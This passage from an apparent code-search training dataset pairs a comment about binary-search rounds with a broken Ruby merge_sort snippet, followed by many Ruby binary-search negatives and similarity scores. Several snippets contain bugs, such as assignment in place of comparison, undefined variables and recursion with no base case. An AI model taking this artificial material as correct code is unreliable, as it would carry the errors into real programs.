key\r\n p list_name\r\nend", "def update(list, item, quantity)\n list[item] = quantity\n list\nend", "def update_quant(item, quant)\n\t$grocery_list.store(item, quant)\n\tp \"You updated #{item} number to #{quant}.\"\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity\n p list\nend" ]
[ "0.8330185", "0.80823916", "0.8067333", "0.8055857", "0.79930395", "0.7991231", "0.7922875", "0.78572524", "0.7840745", "0.78269565", "0.7822994", "0.7815355", "0.78030574", "0.7783645", "0.77762747", "0.776459", "0.776459", "0.77624035", "0.773304", "0.77022994", "0.7699319", "0.7697012", "0.7674289", "0.76725864", "0.76635337", "0.7660819", "0.76516014", "0.7648689", "0.76477635", "0.7647662", "0.76468235", "0.7645137", "0.76438224", "0.76407415", "0.76407415", "0.76364714", "0.76364714", "0.76299345", "0.7613967", "0.7611097", "0.7609392", "0.7609392", "0.76075965", "0.7605176", "0.7602441", "0.75892335", "0.75858426", "0.75793093", "0.756775", "0.75613207", "0.7557526", "0.7547705", "0.7540857", "0.7540857", "0.7540164", "0.7536472", "0.7534915", "0.7534915", "0.7532104", "0.7523511", "0.7515076", "0.7510263", "0.7507693", "0.7501987", "0.74977076", "0.7492854", "0.7481075", "0.7449956", "0.74386185", "0.7436346", "0.7434296", "0.7430367", "0.7428144", "0.7425851", "0.74189276", "0.7417934", "0.7399125", "0.73882794", "0.738715", "0.73827493", "0.73818135", "0.73695564", "0.73657185", "0.7357117", "0.7345791", "0.7339761", "0.7322462", "0.73099893", "0.7300715", "0.7273326", "0.7245643", "0.7233176", "0.7230595", "0.72288954", "0.7224244", "0.7214776", "0.7208315", "0.72074544", "0.72036034", "0.7194633", "0.71790737" ]
0.0
-1
[1,2,3,4,5,6,7,8,9,10] 1st round => counter = 5 + binary_search(r, target) 2nd round => [7, 8, 9, 10] => counter = [1,2,3] target = 1
def merge_sort(array) middle = array.length/2-1 left = [0..middle] right = [middle+1..[-1]] merge_sort(left) + merge_sort(right) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def binary_search(arr, l, r, target)\n return [-1, l, r] if l > r\n mid = l + (r - l) / 2\n return [mid, l, r] if (arr[mid] == target) # Found match!\n (arr[mid] > target) ? binary_search(arr, l, mid - 1, target) : binary_search(arr, mid + 1, r, target)\nend", "def two_sum(numbers, target)\n\n numbers.each_with_index do |num, index|\n \n looking_for = target - num\n answer_2 = binary_search(numbers, index + 1, numbers.length - 1, looking_for)\n if !!answer_2\n return [index + 1, answer_2 + 1] \n end\n end\nend", "def binary_search_iterative(array, target)\n# declare variables for low and high positions\nlow_index = 0\nhigh_index = array.length - 1\nmid_index = (high_index + low_index) / 2\n\n# while the low is less than the high\nwhile low_index <= high_index do\n\n return mid_index if target == array[mid_index]\n\n puts \"#{low_index} #{mid_index} #{high_index}\"\n\n if low_index == mid_index\n return high_index\n elsif target > array[mid_index]\n # move lower bound up to mid, recalculate new mid\n low_index = mid_index\n # set the high halfway between\n mid_index = (low_index + high_index) / 2\n elsif target < array[mid_index]\n # move upper bound to mid, recalculate new mid\n high_index = mid_index\n mid_index = (low_index + high_index) / 2\n end\n end\nend", "def binary_search(arr, target)\n return nil if arr.empty?\n probe_index = arr.size / 2\n probe_ele = arr[probe_index]\n\n case probe_ele <=> target\n when 1\n left_arr = arr.take(probe_index) \n return binary_search(left_arr,target)\n when 0 \n return probe_index\n when -1\n compensated_index = (probe_index + 1)\n right_arr = arr.drop(compensated_index)\n return nil if binary_search(right_arr,target).nil?\n return binary_search(right_arr,target) + compensated_index\n end\nend", "def binary_search(array, target)\n lower_bound = 0\n upper_bound array.length - 1\n while lower_bound <= upper_boud do\n midpoint = (upper_bound + lower_bound) / 2\n value_at_midpoint = array[midpoint]\n if target == value_at_midpoint\n return midpoint\n elsif target < value_at_midpoint\n upper_bound = midpoint - 1\n elsif target > value_at_midpoint\n lower_bound = midpoint + 1\n end\n end\n return nil\nend", "def rec_bin_search(array, target)\n return nil if array.length == 0\n\n midpoint = array.length / 2\n\n return midpoint if array[midpoint] == target\n\n if target < array[midpoint]\n rec_bin_search(array.take(midpoint), target)\n else\n top = rec_bin_search(array.drop(midpoint + 1), target)\n top == nil ? nil : top + (midpoint + 1)\n end\nend", "def binary_search(array, target)\n lower_bound = 0\n upper_bound = array.length - 1\n while lower_bound <= upper_bound\n midpoint = (lower_bound + upper_bound) / 2\n value_at_midpoint = array[midpoint]\n if target = value_at_midpoint\n return midpoint\n elsif target > value_at_midpoint\n lower_bound = midpoint + 1\n elsif target < value_at_midpoint\n upper_bound = midpoint - 1\n end\n end\n return nil\nend", "def search_range(nums, target)\n low = search(nums, target)\n nums[low] == target ? [low, search(nums, target + 1) - 1] : [-1, -1] \nend", "def bsearch(nums, target)\n return nil if nums.empty?\n\n probe_index = nums.length / 2\n case target <=> nums[probe_index]\n when -1\n bsearch(nums.take(probe_index), target)\n when 0\n probe_index\n when 1\n\n sub_answer = bsearch(nums.drop(probe_index + 1), target)\n (sub_answer.nil?) ? nil : (probe_index + 1) + sub_answer\n end\n\nend", "def binary_search(arr, target, idx_puls = 0)\n mid = arr.length / 2\n return mid + idx_puls if arr[mid] == target\n return nil if arr.length == 1\n\n if arr[mid] < target\n binary_search(arr[(mid + 1)..-1], target, mid + 1)\n else\n binary_search(arr[0...mid], target, idx_puls)\n end\n\nend", "def binary_search(arr, target)\n\n floor = -1\n ceiling = arr.length\n\n while floor + 1 < ceiling # Has to be plus one or else it will keep looping. NB: Guess index always rounds down.\n\n guess_index = (floor + ceiling)/2\n # puts \"Guess_index\", guess_index\n guess_value = arr[guess_index]\n\n if guess_value == target\n return true\n elsif guess_value < target\n floor = guess_index\n else\n ceiling = guess_index\n end\n\n end\n\n return false\n\nend", "def binary_search(target, collection, min_index = 0, max_index = collection.size - 1)\n return nil if collection.empty?\n loop do\n return nil if max_index < min_index\n index_to_check = mid_point(min_index, max_index)\n return index_to_check if collection[index_to_check] == target\n min_index = index_to_check + 1 if collection[index_to_check] < target\n max_index = index_to_check - 1 if collection[index_to_check] > target\n end\nend", "def search_range(nums, target)\n output_range = [-1, -1]\n # try to go left\n binary_search_helper(nums, target, 0, nums.length - 1, output_range, true)\n\n # go right\n binary_search_helper(nums, target, 0, nums.length - 1, output_range, false)\n output_range\nend", "def binary_search(target, array)\r\n\t#Your code here\r\n\tindex = array.length / 2\r\n\tlo = 0\r\n\thi = array.length - 1\r\n\twhile array[index] != target && array.include?(target)\r\n\t\tif array[index] > target\r\n\t\t\thi = index - 1\r\n\t\t index = (lo + hi) / 2\r\n\t\telsif array[index] < target\r\n\t\t\tlo = index + 1\r\n\t\t\tindex = (lo + hi) / 2\r\n\t\tend\r\n\tend\r\n\tif array[index] == target\r\n\t\treturn index\r\n\telse\r\n\t\treturn -1\r\n\tend \r\nend", "def binary_search(array, target)\n return nil if array.count == 0\n\n median = array.length / 2\n left = array[0...median]\n right = array[median + 1..-1]\n\n return median if array[median] == target\n if target < array[median]\n return binary_search(left, target)\n else\n sub_answer = binary_search(right, target)\n (sub_answer.nil?) ? nil : (sub_anser + median + 1)\n end\n\nend", "def binary_search(arr, target)\n return nil if !arr.include?(target)\n middle_ele = arr[arr.length / 2]\n middle_idx = arr.length / 2\n if target == middle_ele\n return middle_idx\n elsif target > middle_ele\n binary_search(arr[middle_idx+1..-1], target) + arr[0..middle_idx].length\n else\n binary_search(arr[0...middle_idx], target)\n end\nend", "def bsearch(arr, target)\n i = 0\n j = arr.length - 1\n while i <= j\n m = (i + j) / 2\n if target < arr[m]\n j = m - 1\n elsif target > arr[m]\n i = m + 1\n elsif target == arr[m]\n return m\n end\n end\n -1\nend", "def search(nums, target)\n nums.sort.uniq.rotate(rand(0..9))\n .include?(target)\nend", "def search(nums, target)\n left = 0\n right = nums.length - 1\n\n while left <= right\n pivot = left + (right - left) / 2\n\n return pivot if nums[pivot] == target\n\n if target < nums[pivot]\n right = pivot - 1\n else\n left = pivot + 1\n end\n end\n\n -1\nend", "def binary_search(array, target)\n mid = array.length / 2\n\n if target < array[mid]\n binary_search(array[0...mid], target)\n elsif value > array[mid]\n function = binary_search(array[mid + 1..-1], target)\n function.nil? ? nil : function + mid + 1\n else\n return mid\n end\nend", "def do_search(target_value, array)\n min = 0\n max = array.length - 1\n\n binary_search(target_value, array, min, max)\nend", "def bin_search(target,array)\n lo = 0\n hi = array.length - 1\n mid = (lo+hi)/2\n while lo <= hi\n if array[mid] > target\n hi = mid-1\n mid = (lo+hi)/2\n elsif array[mid] < target\n lo = mid+1\n mid = (lo+hi)/2\n else\n return mid\n end\n end\n return -1\nend", "def binary_search(array, length, value_to_find)\n high = length\n low = 0\n length.times do\n guess = (low + high) / 2\n return true if array[guess] == value_to_find\n return false if high - low <= 1\n array[guess] < value_to_find ? low = guess : high = guess\n end\nend", "def two_sum_binary(numbers, target)\n numbers.each_with_index do |num, i|\n j = binary_search(numbers, target - num, i+1)\n\n # +1 because we do both index1 and index2 are not zero-based\n return [i+1, j+1] unless j == -1\n end\n\n raise ArgumentError.new(\"No two sum solution\")\nend", "def binary_search(array, target)\n return nil if array.length == 1 && array[0] != target\n mid = array.length / 2\n\n if target == array[mid]\n return mid\n elsif target < array[mid]\n return binary_search(array[0...mid], target)\n else\n found = binary_search(array[mid+1..-1], target)\n return found.nil? ? nil : mid + 1 + found\n end\nend", "def search_range(nums, target)\n left = search(target, nums, :left)\n return [-1, -1] if left == nums.size || target != nums[left]\n [left, search(target + 1, nums, :right) - 1]\nend", "def bsearch(arr, target)\n return nil if arr.length == 1 && arr[0] != target\n mid_i = arr.length / 2\n return mid_i if arr[mid_i] == target\n\n low_arr = arr[0...mid_i]\n high_arr = arr[mid_i+1..-1]\n\n if arr[mid_i] > target\n bsearch(low_arr, target) \n elsif bsearch(high_arr, target) != nil\n low_arr.length + 1 + bsearch(high_arr, target)\n end\n\nend", "def two_sum(numbers, target)\n numbers.each_with_index do |num, idx|\n # why `idx + 1`? because we don't want to include the number in our search\n # so if we start at idx 0, we want to search from 1..end for the complement\n # also, so we don't re-search smaller numbers, since this array is sorted.\n low = idx + 1\n high = numbers.size - 1\n search = target - num\n\n while low <= high\n mid = (low + high) / 2\n\n if numbers[mid] == search\n return [idx + 1, mid + 1] # NOT zero-indexed!\n elsif numbers[mid] > search\n # note we ignore including `mid` on next search for both `high` and `low`\n # and our first condition already takes care of `mid`\n high = mid - 1\n else\n low = mid + 1\n end\n end\n end\nend", "def binary_search(target, array)\n length = array.length\n center = length / 2\n first = 0\n last = length - 1\n\n while first <= last\n if array[center] == target\n return array.index(target)\n elsif array[center] < target\n first = center + 1\n center = (first + last) / 2\n else\n last = center - 1\n center = (first + last) / 2\n end\n end\n\n return -1\nend", "def binary_search(array, target)\n temp = array.sort\n middle = temp.length / 2\n first = 0\n last = temp.length - 1\n while first < last\n if temp[middle] == target\n return middle\n elsif temp[middle] < target\n first = middle + 1\n middle = (first + last) / 2\n else\n last = middle - 1\n middle = (first + last) / 2\n end\n end\n return -1\nend", "def binary_search(array, length, value_to_find)\n # take the length and divide in half,\n # start_index = 0\n # end_index = length - 1\n # midpoint = length / 2\n # until start_index > end_index\n #\n # end\n\nend", "def search(nums, target)\n nums.each_with_index do |num, index|\n return index if num == target\n end\n -1\nend", "def binary_search(arr, target)\n binary_search_helper(arr, target, 0, arr.length - 1)\nend", "def bsearch(arr, target)\n return nil if arr.empty?\n mid = arr.length / 2\n return mid if arr[mid] == target\n\n if target < arr[mid]\n bsearch(arr[0...mid], target)\n else\n result = bsearch(arr[mid + 1..-1], target)\n result.nil? ? nil : mid + 1 + result\n end\nend", "def bsearch(array, target)\n return nil if array.empty?\n\n mid_idx = array.length / 2\n mid_ele = array[mid_idx]\n\n return mid_idx if target == mid_ele\n\n if target < mid_ele\n sub_arr = array[0...mid_idx]\n return bsearch(sub_arr, target)\n else\n sub_arr = array[mid_idx + 1..-1]\n next_search = bsearch(sub_arr, target)\n return nil if next_search == nil\n return mid_idx + 1 + next_search\n end\nend", "def shifted_binary_search(arr, target)\n shifted_binary_search_helper(arr, target, 0, arr.length - 1)\nend", "def shifted_binary_search(arr, target)\n shifted_binary_search_helper(arr, target, 0, arr.length - 1)\nend", "def binary_search array, value, start, ends\n\treturn false if start > ends\n\tpivote = start + ((ends - start) / 2).floor\n\tif value == array[pivote]\n\t\treturn count_repeated array, value, pivote\n\telsif value > array[pivote]\n\t\tbinary_search array, value, pivote+1, ends\n\telse value < array[pivote]\n\t\tbinary_search array, value, start, pivote-1\n\tend\nend", "def bsearch(sorted_array, target)\n return nil if sorted_array.empty?\n \n i_mid = (sorted_array.length-1) / 2\n mid = sorted_array[i_mid]\n \n if target == mid\n i = i_mid\n elsif target < mid\n i = bsearch(sorted_array[0...i_mid], target)\n else\n i = bsearch(sorted_array[i_mid + 1..-1], target)\n i += mid + 1 if i\n end\n \n i\nend", "def binsearch arr, target\n return if arr.blank?\n low = 0\n high = arr.count\n loop do\n choice = (low + high) / 2\n bin_lower = arr[choice]\n bin_lower = yield(bin_lower) if block_given?\n bin_upper = arr[choice + 1]\n bin_upper = yield(bin_upper) if bin_upper and block_given?\n if target >= bin_lower\n return choice if !bin_upper || (bin_upper > target)\n # puts \"Rejected #{arr[choice]}->#{arr[choice+1]}: too low\"\n low = choice + 1\n else\n # puts \"Rejected #{arr[choice]}->#{arr[choice+1]}: too high\"\n return nil if high == choice\n high = choice\n end\n end\nend", "def binary_search(array,target)\n \n min = 0\n max = array.length - 1\n \n while min <= max\n mid = (min + max) / 2\n if array[mid] > target\n max = mid -1\n elsif array[mid] < target\n low = mid + 1 \n else\n return mid\n end\n end\n\nend", "def binary_search(arr, target)\n new_arr = arr\n return nil if arr.empty? \n middle = (arr.length - 1) / 2\n if arr[middle] > target\n binary_search(arr[0...middle], target)\n elsif arr[middle] < target \n if binary_search(arr[middle+1..-1], target).nil?\n return nil\n else\n binary_search(arr[middle+1..-1], target) + middle + 1\n end \n elsif target == arr[middle]\n return new_arr.index(arr[middle])\n else\n return nil\n end\nend", "def bsearch(array, target)\n mid_point = array.length / 2\n\n return mid_point if target == array[mid_point]\n return nil if array.length == 1\n\n left_hand = array[0...mid_point]\n right_hand = array[mid_point..-1]\n\n if target < array[mid_point]\n bsearch(left_hand, target)\n else\n result = bsearch(right_hand, target)\n return nil if result.nil?\n mid_point + result\n end\n\nend", "def search_range(nums, target)\n emp = []\n if nums.include?(target)\n nums.each_with_index do |n,i|\n if n == target\n emp.push(i)\n end\n end\n\n emp.map {|n| [emp[0], emp[emp.length - 1]] }[0]\n\n else\n [-1,-1]\n end\nend", "def binary_search_recursive(array, target, low = 0, high = array.length - 1)\n return \"#{target} value could not be found\" if low > high\n mid = (low + high) / 2\n return mid if array[mid] == target\n p \"#{low} #{mid} #{high}\"\n if array[mid] > target\n high = mid - 1\n else\n low = mid + 1\n end\n binary_search_recursive(array, target, low, high)\nend", "def binary_search_while_loop(array, desired_num)\n\n start_index = 0\n end_index = array.length - 1\n\n while start_index <= end_index\n mid_index = (start_index + end_index) / 2\n\n if array[mid_index] == desired_num\n return mid_index\n elsif array[mid_index] > desired_num\n end_index = mid_index - 1\n elsif array[mid_index] < desired_num\n start_index = mid_index + 1\n end\n\n end\n\n return -1\nend", "def bsearch(array, target)\n return nil if array.length == 1 && target != array[0]\n idx = array.length / 2\n mid_ele = array[idx]\n\n if target == mid_ele\n return idx\n elsif target < mid_ele\n return bsearch(array[0...idx], target)\n else\n if bsearch(array[idx+1..-1], target).nil?\n return nil\n else\n return idx + 1 + bsearch(array[idx+1..-1], target)\n end\n end\nend", "def binary_search(arr,tar)\n return nil if arr.length < 1\n mid_idx = arr.length / 2\n if arr[mid_idx] == tar\n return mid_idx\n elsif arr[mid_idx] > tar\n binary_search(arr[0...mid_idx],tar)\n elsif arr[mid_idx] < tar\n subanswer = binary_search(arr[mid_idx+1..-1],tar)\n subanswer.nil? ? nil : (mid_idx+1) + subanswer\n end\nend", "def binary_search(array, target)\n return nil if array.empty?\n midpoint = array.length / 2\n case target <=> array[midpoint]\n when 0\n midpoint\n when 1\n right_idx = binary_search(array[(midpoint + 1)..-1], target)\n if right_idx\n right_idx + 1 + midpoint\n else\n nil\n end\n when -1\n binary_search(array[0...midpoint], target)\n end\nend", "def bsearch(array, target)\n return nil if arr.empty?\n\n mid_idx = array.length / 2\n lower_half = array[0...mid_idx] \n upper_half = array[mid_idx + 1..-1]\n\n return mid_idx if array[mid_idx] == target\n\n if target < array[mid_idx]\n bsearch(lower_half, target)\n else\n result = bsearch(upper_half, target)\n \n if result.nil?\n return nil # return nil to indicate target is not in the array\n else\n lower_half.length + 1 + result\n# ^ will return index, but from upper half\n\n\n# [10,21,34,89,100, 110, 150]\n# + length of lower_half + 1 ^ 2\n# target is 100\n end\n end\nend", "def shifted_binary_search(array, target)\n return shifted_binarysearch_helper(array, target, 0, array.length - 1)\nend", "def bsearch(arr, target)\n return nil if arr.length < 1\n # return nil if target > arr.max || target < arr.min\n compare_index = arr.length / 2\n match = target <=> arr[compare_index]\n case match\n when -1\n bsearch(arr.take(compare_index), target)\n when 0\n compare_index\n else\n result = bsearch(arr.drop(compare_index+1), target)\n return nil if result.nil?\n result + compare_index + 1\n end\nend", "def bsearch(array, target)\n # compare target value to middle element\n #if target value is == to middle elements value\n #return the position and end\n # if target value is less than middle value seach lower half of array\n # same goes for greater than (search upper half)\n # when it searches lower or upper half it keeps the same logic as the beginning\n # nil if not found; can't find anything in an empty array\n return nil if array.empty?\n\n index = array.length / 2\n # spaceship operator magic!\n case target <=> array[index]\n when -1 #search left side\n bsearch(array.take(index), target)\n when 0\n index\n when 1 #search right side\n answer = bsearch(array.drop(index + 1), target)\n answer.nil? ? nil : index + 1 + answer\n end\nend", "def find_target(nums, target)\n return -1 if nums.empty? || !target\n start_ind = 0\n last_ind = nums.size - 1\n\n while (start_ind + 1 < last_ind) do\n mid = start_ind + (last_ind - start_ind) / 2\n\n if nums[mid] == target\n return mid\n end\n\n if nums[start_ind] < nums[mid]\n if nums[start_ind] <= target && target <= nums[mid]\n last_ind = mid\n else\n start_ind = mid\n end\n else\n if nums[mid] <= target && target <= nums[last_ind]\n start_ind = mid\n else\n last_ind = mid\n end\n end\n end\n\n return start_ind if nums[start_ind] == target\n return last_ind if nums[last_ind] == target\n return -1\nend", "def bsearch(arr, target)\n return nil if arr.empty?\n mid_idx = arr.length / 2\n pivot = arr[mid_idx]\n return mid_idx if pivot == target\n if pivot > target\n bsearch(arr[0...mid_idx], target)\n else\n result = bsearch(arr[mid_idx + 1..-1], target)\n if result == nil\n nil\n else\n mid_idx + 1 + result\n end\n end\nend", "def bsearch(array, target)\n return nil if !array.include?(target)\n arr = array.sort\n\n mid = arr.length / 2\n\n\n if arr[mid] == target\n return mid\n elsif arr[mid] < target\n mid + bsearch(arr[mid..-1], target)\n else\n bsearch(arr[0..mid-1], target)\n end\nend", "def binary_search(array, target)\n return nil if array.empty?\n\n middle_idx = array.length/2\n\n case target <=> array[middle_idx]\n\n when -1\n binary_search(array.take(middle_idx), target)\n when 0\n return middle_idx\n when 1\n binary_search(array[middle_idx..-1], target)\n end\n\nend", "def binsearch_index(low = nil, high = nil) \n return nil if length == 0\n low = 0 if !low\n high = length if !high\n\n if low == high\n if yield at(low)\n return low\n else\n return nil\n end\n end\n\n mid = (high-low)/2 + low\n if yield at(mid)\n # this value >= target.\n result = binsearch_index(low, mid == low ? mid : mid-1){ |x| yield x if !x.nil?}\n if result\n return result\n else\n return mid\n end\n else\n # this value < target\n binsearch_index(mid == high ? mid : mid+1, high){ |x| yield x if !x.nil?}\n end\n end", "def bsearch(array, target)\n return nil if array.length <= 1 && array[0] != target\n\n mid_idx = (array.length - 1) / 2\n if array[mid_idx] == target\n mid_idx\n elsif array[mid_idx] < target\n response = bsearch(array[(mid_idx + 1)..-1], target)\n response.nil? ? nil : response + mid_idx + 1\n else\n bsearch(array[0...mid_idx], target)\n end\nend", "def binary_search(arr, target)\n if arr.length == 1\n return nil if arr[0] != target\n end\n mid = arr.length / 2\n if target == arr[mid]\n return mid\n elsif target > arr[mid]\n if binary_search(arr[mid..arr.length], target) == nil\n return nil\n else\n return binary_search(arr[mid..arr.length], target) + arr.length / 2\n end\n else\n binary_search(arr[0..mid-1], target)\n end\nend", "def binary_search(array, target) \n return nil if array.length == 0\n mid = array.length / 2\n return mid if array[mid] == target\n left = array[0...mid]\n right = array[mid + 1..-1]\n if array[mid] > target #[]\n binary_search(left, target)\n else\n result = binary_search(right, target)\n return result.nil? ? nil : result + mid + 1\n end\n \nend", "def bsearch(array, target)\n return nil if array.empty?\n\n n = array.size / 2\n bottom = array[0...n]\n mid = array[n]\n top = array[n + 1..-1]\n\n if target < mid\n bsearch(bottom, target)\n elsif target > mid\n top_search = bsearch(top, target)\n top_search.nil? ? nil : top_search + bottom.size + 1\n else\n mid == target ? n : nil\n end\nend", "def bsearch(nums, target)\n # nil if not found; can't find anything in an empty array\n return nil if nums.empty?\n \n probe_index = nums.length / 2\n case target <=> nums[probe_index]\n when -1\n # search in left\n bsearch(nums.take(probe_index), target)\n when 0\n probe_index # found it!\n when 1\n # search in the right; don't forget that the right subarray starts\n # at `probe_index + 1`, so we need to offset by that amount.\n sub_answer = bsearch(nums.drop(probe_index + 1), target)\n sub_answer.nil? ? nil : (probe_index + 1) + sub_answer\n end\n \n # Note that the array size is always decreasing through each\n # recursive call, so we'll either find the item, or eventually end\n # up with an empty array.\n end", "def bsearch(nums, target)\n # nil if not found; can't find anything in an empty array\n return nil if nums.empty?\n \n probe_index = nums.length / 2\n case target <=> nums[probe_index]\n when -1\n # search in left\n bsearch(nums.take(probe_index), target)\n when 0\n probe_index # found it!\n when 1\n # search in the right; don't forget that the right subarray starts\n # at `probe_index + 1`, so we need to offset by that amount.\n sub_answer = bsearch(nums.drop(probe_index + 1), target)\n sub_answer.nil? ? nil : (probe_index + 1) + sub_answer\n end\n \n # Note that the array size is always decreasing through each\n # recursive call, so we'll either find the item, or eventually end\n # up with an empty array.\n end", "def search_target(nums, target)\n return -1 if nums.empty? || !target\n start_ind = 0\n last_ind = nums.size - 1\n mid = (start_ind + last_ind) / 2\n\n #having condition as start_ind + 1 < last_ind will be helpful in find first/last position in function\n #also avoid infinite loop when the array only has two elements\n while start_ind + 1 < last_ind do \n mid = start_ind + (last_ind - start_ind) / 2\n if (nums[mid] == target)\n last_ind = mid\n elsif nums[mid] > target\n last_ind = mid\n else\n start_ind = mid\n end\n end\n\n #find first position\n #if we wanna find the last position, check last_ind first\n if nums[start_ind] == target\n return start_ind\n end\n\n if nums[last_ind] == target\n return last_ind\n end\n\n return -1\nend", "def search_range(nums, target)\n left = search(target, nums, :left)\n return [-1, -1] if left == -1\n [left, search(target, nums, :right)]\nend", "def bsearch(array, target)\n\n return nil unless array.include?(target)\n\n middle = (array.length - 1) / 2\n return middle if target == array[middle]\n\n if target < array[middle]\n bsearch(array[0...middle], target)\n elsif target > array[middle]\n middle + 1 + bsearch(array[(middle + 1)..-1], target)\n end\nend", "def search(nums, target)\n left = 0\n right = nums.length - 1\n len = nums.length\n\n if nums[left] > nums[right] # no need if we're already sorted\n while right - left > 1\n mid = (right + left)/2\n\n # Check which side seam is on\n if nums[left] > nums[mid]\n # left side\n right = mid\n else\n left = mid\n #right side\n end\n end\n else\n right = 0\n end\n\n start = right\n\n left = 0\n right = nums.length\n\n while left < right\n return (start + left) % len if t_index(nums, left, start, len) == target\n return (start + right) % len if t_index(nums, right, start, len) == target\n\n mid = (left + right) / 2\n return (start + mid) % len if t_index(nums, mid, start, len) == target\n\n if target < t_index(nums, mid, start, len)\n right = mid - 1\n else\n left = mid + 1\n end\n end\n\n -1\nend", "def binary_search(arr, val, strategy='rec')\n if strategy != 'rec'\n search(arr, val)\n else\n rec_search(arr, val, 0, arr.size - 1)\n end\nend", "def search_range(nums, target)\r\n left = 0\r\n right = nums.size - 1\r\n beginning = -1\r\n ending = -1\r\n\r\n while left + 1 < right\r\n mid = left + (right - left) / 2\r\n if nums[mid] < target\r\n left = mid + 1\r\n else\r\n right = mid\r\n end\r\n end\r\n if nums[left] == target\r\n beginning = left\r\n elsif nums[right] == target\r\n beginning = right\r\n end\r\n\r\n right = nums.size - 1\r\n while left + 1 < right\r\n mid = left + (right - left) / 2 + 1\r\n if nums[mid] > target\r\n right = mid - 1\r\n else\r\n left = mid\r\n end\r\n end\r\n if nums[right] == target\r\n ending = right\r\n elsif nums[left] == target\r\n ending = left\r\n end\r\n\r\n return [beginning, ending]\r\nend", "def search(arr, target)\n left = 0\n right = arr.length - 1\n\n while left <= right\n mid = (left + right ) / 2\n\n return mid if arr[mid] == target\n\n if arr[mid] < target\n left = mid + 1\n else\n right = mid - 1\n end\n end\n\n return -1\nend", "def search_index(arr, target, left = 0, right = arr.length - 1)\n return -1 if left > right # -1 means no found\n\n half = (left + right) / 2\n case target <=> arr[half]\n when 0\n half\n when -1\n search_index(arr, target, left, half - 1)\n when 1\n search_index(arr, target, half + 1, right)\n end\nend", "def bsearch(array, target)\n middle_idx = array.length / 2\n middle = array[middle_idx]\n\n return middle_idx if target == middle\n return nil if array.length == 1\n if target < middle\n return bsearch(array[0...middle_idx], target)\n elsif target > middle\n b_searched = bsearch(array[middle_idx..-1], target)\n if b_searched == nil\n return nil\n else\n return middle_idx + b_searched\n end\n end\nend", "def bsearch(array, target)\n return nil if array.empty?\n\n middle_idx = array.length / 2\n if array[middle_idx] == target\n return middle_idx\n elsif array[middle_idx] > target\n bsearch(array[0...middle_idx], target)\n else\n result = bsearch(array[(middle_idx+1)..-1], target)\n if result.is_a?(Fixnum)\n result + middle_idx + 1\n else\n nil\n end\n end\nend", "def bsearch(arr, target)\n return nil if arr.length < 1\n\n middle_idx = arr.length / 2\n return_idx = 0\n\n return middle_idx if arr[middle_idx] == target\n\n if target < arr[middle_idx]\n index = bsearch(arr[0...middle_idx], target)\n index.nil? ? (return nil) : return_idx += index\n else\n index = bsearch(arr[middle_idx + 1..-1], target)\n index.nil? ? (return nil) : (return_idx = (middle_idx + index + 1))\n end\n\n return_idx\nend", "def search(nums, target)\n return -1 if nums.length == 0\n\n left = 0\n right = nums.length\n\n while left < right\n mid = (left + right) / 2\n if nums[mid] == target\n return mid\n elsif nums[mid] < target\n left = mid + 1\n else\n right = mid\n end\n end\n\n # Post-processing:\n # End Condition: left == right\n if (left != nums.length) && (nums[left] == target)\n left\n else\n -1\n end\nend", "def binary_search(arry, target)\n return \"Empty Array\" if arry.size < 1\n lower_limit = 0\n upper_limit = arry.size - 1\n search_string = binary_search_with_limits(arry, target, lower_limit, upper_limit)\nend", "def bs(array, target)\n start = 0\n endp = array.length \n \n while start <= endp\n mid = start + (endp - start)/2\n \n if array[mid] == target\n return mid\n end\n\n if array[mid] < target \n start = mid + 1 \n else\n endp = mid - 1\n end\n end\n return 'Not found' \nend", "def binary_search(array, length, value_to_find)\n mid_point = length/2\n mid = array[mid_point]\n counter = 0\n\n until mid == value_to_find || counter > length\n if mid > value_to_find\n mid_point = mid_point/2\n else \n mid_point = (length - mid_point)/2 + mid_point\n end\n\n mid = array[mid_point]\n counter += 1\n end\n\n mid == value_to_find\nend", "def binary_index(array, target)\n upper = array.size - 1\n lower = 0\n\n while upper >= lower\n center = lower + (upper - lower) / 2\n\n case @comparator.call(target, array[center])\n when 0\n return center\n when 1\n lower = center + 1\n when -1\n upper = center - 1\n end\n end\n lower\n end", "def binary_search(array, value, from=0, to=nil)\n to = array.count - 1 unless to\n mid = (from + to) / 2\n \n if value < array[mid]\n return binary_search(array, value, from, mid - 1)\n elsif value > array[mid]\n return binary_search(array, value, mid + 1, to)\n else\n return mid\n end\nend", "def use_binary_search(list, item)\r\n low = 0\r\n high = list.length - 1\r\n while low <= high\r\n mid = (low + high)\r\n guess = list[mid]\r\n if guess == item\r\n return mid\r\n end\r\n if guess > item\r\n high = mid - 1\r\n else\r\n low = mid + 1\r\n end\r\n end\r\n return nil\r\nend", "def simple_search (search_array, search_number)\n counter = 0\n search_array.each do |number|\n if number == search_number \n return counter \n else \n counter +=1 \n end \nend\n nil \nend", "def bsearch(arr, target)\n if arr.length == 1 \n if arr[0] == target\n return 0\n else\n return nil\n end\n end\n arr.sort!\n middle = arr.length / 2\n left = arr[0...middle]\n right = arr[middle + 1..-1]\n if arr[middle] == target\n return middle\n elsif arr[middle] < target\n if bsearch(right, target).nil?\n return nil\n # else\n return left.length + 1 + bsearch(right, target)\n end\n else \n bsearch(left, target)\n end\nend", "def binary_search(numbers, element)\n min = 0\n max = numbers.size - 1\n\n index = nil\n\n while index.nil? do\n middle_element_index = (min + max) / 2 # Every iteration (N / 2) = O(log n)\n middle_element = numbers[middle_element_index] \n \n if element < middle_element\n max = middle_element_index\n elsif element > middle_element\n min = middle_element_index\n elsif element == middle_element\n index = middle_element_index\n end\n end\n\n index\nend", "def search(nums, target)\n helper(nums, target, 0, nums.length - 1)\nend", "def bsearch(array, target)\n mid_idx = (array.length/2) # 2\n median = array[mid_idx] # 4\n left_array = array[0..(mid_idx - 1)]\n right_array = array[(mid_idx + 1)..-1]\n\n return mid_idx if median == target\n return nil if array.length <= 1\n\n if median < target\n result = bsearch(right_array,target)\n return nil if result.nil?\n (mid_idx + 1) + bsearch(right_array,target)\n elsif median > target\n bsearch(left_array,target)\n\n end\nend", "def search_range(nums, target)\n return [-1,-1] if nums.empty? || !nums.include?(target)\n output = [*nums.each_with_index]\n all_targets = output.find_all do |tuple|\n tuple[0] == target\n end\n [all_targets.first[1], all_targets.last[1]]\nend", "def binary_search(array, length, value_to_find)\n found = false\n length.times do |i|\n if array[i] == value_to_find\n found = true\n break\n end\n end\n return found\nend", "def bsearch(arr, target)\n if arr.length < 1 # empty array, returns nil\n 